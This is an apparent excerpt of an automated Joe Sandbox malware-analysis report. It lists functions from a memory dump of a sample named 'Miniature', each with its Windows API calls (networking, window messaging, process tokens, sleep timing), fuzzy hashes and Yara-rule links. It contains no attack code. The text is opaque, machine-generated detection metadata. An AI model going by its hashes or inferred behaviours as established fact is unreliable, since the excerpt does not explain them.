Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 519510251444c0fa0b9e87049e7e5b17e8bea000614513fd059fa3775346bee5
Instruction ID: 9bf732267e13bf300e2368cab9b9aa13258a6d5ce08d91c93e99b064f2e3bcdd
Opcode Fuzzy Hash: 519510251444c0fa0b9e87049e7e5b17e8bea000614513fd059fa3775346bee5
Instruction Fuzzy Hash: 3011E771D0132C7AE7309AA5AC4DFEBBB7CEF45760F10459AF908E7190D2744E809BA4

Function 01006A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00FF7E51,?,?,00000000), ref: 00FA4041
Part of subcall function 00FA402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00FF7E51,?,?,00000000,?,?), ref: 00FA4065

gethostbyname.WSOCK32(?,?,?), ref: 01006A84
WSAGetLastError.WSOCK32(00000000), ref: 01006A8F
_memmove.LIBCMT ref: 01006ABC
inet_ntoa.WSOCK32(?), ref: 01006AC7

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 94aad4ab80d2e12044e5e41d3b1d7eec8fa00e5e25a03957cd7a72978fde980b
Instruction ID: dff056b3e6ef88bed3864e047027fd56b167129bdcd26c5c1aa1c605ffe021a3
Opcode Fuzzy Hash: 94aad4ab80d2e12044e5e41d3b1d7eec8fa00e5e25a03957cd7a72978fde980b
Instruction Fuzzy Hash: 7111BE72900109AFCB10FFA4CD46CEEB7B8BF19310B108065F542A72A1DF75AE10EBA1

Function 00FE96F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00FE9719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FE972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FE9741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FE975C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 269075c7199f4f0132d4f666fbe35c7587ed2fc51a570b5613c02fd38bf8a4dd
Instruction ID: ccb0fd0e64d57854b1a7b1ae6902ef6fa7157404c6a7428590078fa4e8c9b2c8
Opcode Fuzzy Hash: 269075c7199f4f0132d4f666fbe35c7587ed2fc51a570b5613c02fd38bf8a4dd
Instruction Fuzzy Hash: A811483A901218FFEB10DF95C984E9DBBB8FB48710F204091E900B7294D6716E14EBA0

Function 00F9166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

DefDlgProcW.USER32(?,00000020,?), ref: 00F916B4
GetClientRect.USER32(?,?), ref: 00FCB93C
GetCursorPos.USER32(?), ref: 00FCB946
ScreenToClient.USER32(?,?), ref: 00FCB951

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 90427324f792690c7b4833556d30e9cd2593b38672a2d23ac71ad9b171e4edac
Instruction ID: 74baea43e4431419af5f99f948245f74b1f1d5cb6e2dd05e4484d21ec44ae862
Opcode Fuzzy Hash: 90427324f792690c7b4833556d30e9cd2593b38672a2d23ac71ad9b171e4edac
Instruction Fuzzy Hash: 8C112835A0011AABDF20EF54D885DFE77B8FB04300F540465FA91E7144C735BA51EBA1

Function 00F92111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F9214F
GetStockObject.GDI32(00000011), ref: 00F92163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00F9216D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 7aa412be6f23aea009897b5bc44e2a56e6274bea5d707637117474eae63f506d
Instruction ID: 684817828c852da64cbec713a271ac78a05e71eceb077190c9343384e00950a8
Opcode Fuzzy Hash: 7aa412be6f23aea009897b5bc44e2a56e6274bea5d707637117474eae63f506d
Instruction Fuzzy Hash: 47115B72901649BFEF624E909C45EEBBB6DFF58764F150116FA0452118C7369CA0EBA0

Function 00FF1941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00FF04EC,?,00FF153F,?,00008000), ref: 00FF195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00FF04EC,?,00FF153F,?,00008000), ref: 00FF1983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00FF04EC,?,00FF153F,?,00008000), ref: 00FF198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00FF04EC,?,00FF153F,?,00008000), ref: 00FF19C0

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 723524c4afd4019859d5940bf6aca17f3141512e3dcb43f2b1dfd466b186c224
Instruction ID: 6996a66d761aeacbd36649b1390aa536d2135c9424921947c1549370ddadcb78
Opcode Fuzzy Hash: 723524c4afd4019859d5940bf6aca17f3141512e3dcb43f2b1dfd466b186c224
Instruction Fuzzy Hash: 70114831C0061DDBDF209FA5D999AEEBB78BF08751F104045EA80B2258CB7596609BD1

Function 0101E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0101E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 0101E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 0101E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 0101E234

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: ca45e39d6870ffb7937cf6c1efd3f34bdd32d794edc124c701a244623a368164
Instruction ID: 4b819e56b3701c97d4db57ff6f52e55b9558f414fd175a4a6d3d251c1492bd20
Opcode Fuzzy Hash: ca45e39d6870ffb7937cf6c1efd3f34bdd32d794edc124c701a244623a368164
Instruction Fuzzy Hash: 2F113CB52053059FE3318F51DD08BDBBBBCEB04B00F108559EA9696048D7B9E5089BA1

Function 00FC71E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00FC720B

Part of subcall function 00FC78F2: __fltout2.LIBCMT ref: 00FC791B

__cftog_l.LIBCMT ref: 00FC7231
__cftoe_l.LIBCMT ref: 00FC7263

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 1eda606e9b13eda0e5e1571c774ea07fd6f8db11a037b0980631c4897bc2c239
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 27017B3244824EBBCF126E85CE02EEE3F26BB59350B188519FA1858131C236C9B1BF81

Function 0101B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0101B956
ScreenToClient.USER32(?,?), ref: 0101B96E
ScreenToClient.USER32(?,?), ref: 0101B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0101B9AD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 7460960dc5f0286ff395ebb38bc3ae42b6a7bc994de1bd31c1f4a5c033b1de3b
Instruction ID: 0424455caba2f33920e8d4620dd2447bdda727bad77aed863c1d2f4c9cff5538
Opcode Fuzzy Hash: 7460960dc5f0286ff395ebb38bc3ae42b6a7bc994de1bd31c1f4a5c033b1de3b
Instruction Fuzzy Hash: 031172B9D00209EFDB51CFA8D584AEEFBF9FF48210F108166E954E3614D735AA618F90

Function 00FF7195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00FF71A1

Part of subcall function 00FF7C7F: _memset.LIBCMT ref: 00FF7CB4

_memmove.LIBCMT ref: 00FF71C4
_memset.LIBCMT ref: 00FF71D1
LeaveCriticalSection.KERNEL32(?), ref: 00FF71E1

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 1c86ecd183ad8cd4c9eb892de174e3dd6194df27ac1d02c230de379414e372ad
Instruction ID: db6f43e8b3dd3c5ec0fdcf95df83620c057646dbc87f89173ec42cf86b605e39
Opcode Fuzzy Hash: 1c86ecd183ad8cd4c9eb892de174e3dd6194df27ac1d02c230de379414e372ad
Instruction Fuzzy Hash: 3AF05436200104ABCF117F55DC85A9ABB29EF45360F04C051FE085E21AC736A915EBB4

Function 0101C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00F916CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F91729
Part of subcall function 00F916CF: SelectObject.GDI32(?,00000000), ref: 00F91738
Part of subcall function 00F916CF: BeginPath.GDI32(?), ref: 00F9174F
Part of subcall function 00F916CF: SelectObject.GDI32(?,00000000), ref: 00F91778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0101C3E8
LineTo.GDI32(00000000,?,?), ref: 0101C3F5
EndPath.GDI32(00000000), ref: 0101C405
StrokePath.GDI32(00000000), ref: 0101C413

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 64f7d0fbec30b0f890c6629e884d9bb626e0abea0ab2ab1ffbe4f7f3e95af2c2
Instruction ID: ce2664733d59225f09323eddb5d143efb1de22016a1b2137c726b717ddd6440c
Opcode Fuzzy Hash: 64f7d0fbec30b0f890c6629e884d9bb626e0abea0ab2ab1ffbe4f7f3e95af2c2
Instruction Fuzzy Hash: C4F0BE31085319BBFB322F54AC0AFDE3F99AF05310F288040FA91210D9877E6190EBA9

Function 00FEAA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00FEAA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FEAA82
GetCurrentThreadId.KERNEL32 ref: 00FEAA89
AttachThreadInput.USER32(00000000), ref: 00FEAA90

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: b8fadc57cd708e0a4b821fe503559ba36fd4d6ed78862121359984dbac580706
Instruction ID: 4bd96c9038fad35935f9d8775ea45e9732fd7faa3e8aeb25c047bbc368b7661a
Opcode Fuzzy Hash: b8fadc57cd708e0a4b821fe503559ba36fd4d6ed78862121359984dbac580706
Instruction Fuzzy Hash: 86E06D31941328BBEB315EA2DD0CEE77F1CEF15BA1F208021F54985058C77A9540DBE0

Function 00F925F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00F9260D
SetTextColor.GDI32(?,000000FF), ref: 00F92617
SetBkMode.GDI32(?,00000001), ref: 00F9262C
GetStockObject.GDI32(00000005), ref: 00F92634
GetWindowDC.USER32(?,00000000), ref: 00FCC1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00FCC1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00FCC1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00FCC203
GetPixel.GDI32(00000000,?,?), ref: 00FCC223
ReleaseDC.USER32(?,00000000), ref: 00FCC22E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: fae3eb62e42c0391b3df3929036204fd8c8f23e23d106431f2a670bce9cca75f
Instruction ID: 4a37b597d8f8ae38b7c7e5562e96c381cc94d6f6c42fed13b0935fafdf819a28
Opcode Fuzzy Hash: fae3eb62e42c0391b3df3929036204fd8c8f23e23d106431f2a670bce9cca75f
Instruction Fuzzy Hash: AFE06531904344BFDF315F64A809BD83B11EB05331F248366FAAD480DD87764580DB11

Function 00FE9330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00FE9339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00FE8F04), ref: 00FE9340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00FE8F04), ref: 00FE934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00FE8F04), ref: 00FE9354

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 9966f6956f6bb0f36aab13199f7d3157dc6ebfd3d2c63d0189c3435592652954
Instruction ID: 2e59c9a1aa859b8050a9b8c9d3db7ffd9e3145bb1f73d5cf90b890865df5718b
Opcode Fuzzy Hash: 9966f6956f6bb0f36aab13199f7d3157dc6ebfd3d2c63d0189c3435592652954
Instruction Fuzzy Hash: D6E04F72A013119FE7305FB25D0DB563B6CAF557A1F208858F285D9088E67D9444C760

Function 00FD0679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00FD0679
GetDC.USER32(00000000), ref: 00FD0683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FD06A3
ReleaseDC.USER32(?), ref: 00FD06C4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 46590aef32ff311cae1e388baac6fd11d13b1dcf012a5b8c994722848767f820
Instruction ID: bb5734f17cf08a10b02ae8c4d83e586a40859a077f6c98b914fb17853288eb04
Opcode Fuzzy Hash: 46590aef32ff311cae1e388baac6fd11d13b1dcf012a5b8c994722848767f820
Instruction Fuzzy Hash: 7AE0C275800304EFDB319FA09808A5D7BA1AB9C311F218005F89AA6608CA399542AF50

Function 00FD068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00FD068D
GetDC.USER32(00000000), ref: 00FD0697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FD06A3
ReleaseDC.USER32(?), ref: 00FD06C4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: a50715442b2aabe6ed98151d4422ad73a15b4cbac3e580f14e51b47ec0e007f1
Instruction ID: 4c795a3ed9038f6c520de5c7d237bef90cecd800bc8fbe8f921d09429fecce83
Opcode Fuzzy Hash: a50715442b2aabe6ed98151d4422ad73a15b4cbac3e580f14e51b47ec0e007f1
Instruction Fuzzy Hash: 39E0EEB5800304AFDF319FA0D80CA9D7BA1AB9C311F208009F99AA7208CB3E95429F50

Function 00FFB5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA436A: _wcscpy.LIBCMT ref: 00FA438D

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

__wcsnicmp.LIBCMT ref: 00FFB670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00FFB739

Strings

LPT, xrefs: 00FFB66A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 6ecc906ec1d0d1d38a0776c9d780aa4f7cb206170592c08b39323ecec09bf115
Instruction ID: a5c24995d4abe67925599fcd86d34452a01b08bde4e15483037bc5b92687f4bf
Opcode Fuzzy Hash: 6ecc906ec1d0d1d38a0776c9d780aa4f7cb206170592c08b39323ecec09bf115
Instruction Fuzzy Hash: B9619476E00219AFDB14EF54C891EBEB7B4EF48310F108059F546AB361D774AE41EB50

Function 00F9E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00F9E01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 00F9E037

Strings

@, xrefs: 00F9E02B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
